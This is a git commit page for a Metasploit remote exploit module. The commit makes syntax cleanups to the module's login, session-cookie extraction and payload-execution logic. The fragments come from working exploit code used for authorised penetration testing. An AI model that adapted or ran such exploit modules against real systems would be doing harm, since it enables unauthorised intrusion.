Syntax Fixes
Fixed some or's to || - and's to &&. Fixed failure if statement (fails using fail_with()) Fixed nested else (now and elsif) Changed final execute logic - checks for success rather than failure.bug/bundler_fix
parent
fefc3d088c
commit
321eb452c5
|
@ -95,21 +95,18 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'data' => data
|
||||
})
|
||||
|
||||
if res.nil? or res.headers['Location'] =~ /action=Login/ or res.get_cookies.empty?
|
||||
if res.nil? || res.headers['Location'] =~ /action=Login/ || res.get_cookies.empty?
|
||||
print_error("#{peer} - Login failed with \"#{username}:#{password}\"")
|
||||
return
|
||||
end
|
||||
|
||||
if res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*); path/
|
||||
session_id = $1
|
||||
else
|
||||
if res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*);/
|
||||
elsif res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*);/
|
||||
session_id = $1
|
||||
else
|
||||
print_error("#{peer} - Login failed with \"#{username}:#{password}\" (No session ID)")
|
||||
return
|
||||
fail_with(Failure::NoAccess, "#{peer} - Login failed with \"#{username}:#{password}\" (No session ID)")
|
||||
end
|
||||
end
|
||||
|
||||
print_status("#{peer} - Login successful with #{username}:#{password}")
|
||||
|
||||
|
@ -132,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'data' => data
|
||||
})
|
||||
|
||||
if not res or res.code != 200
|
||||
if not res || res.code != 200
|
||||
print_error("#{peer} - Exploit failed: #{res.code}")
|
||||
return
|
||||
end
|
||||
|
@ -148,10 +145,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
})
|
||||
|
||||
if not res or res.code != 200
|
||||
print_error("#{peer} - Payload execution failed: #{res.code}")
|
||||
else
|
||||
if res && res.code == 200
|
||||
print_good("#{peer} - Payload Executed Successfuly: #{res.code}")
|
||||
else
|
||||
print_error("#{peer} - Payload execution failed: #{res.code}")
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue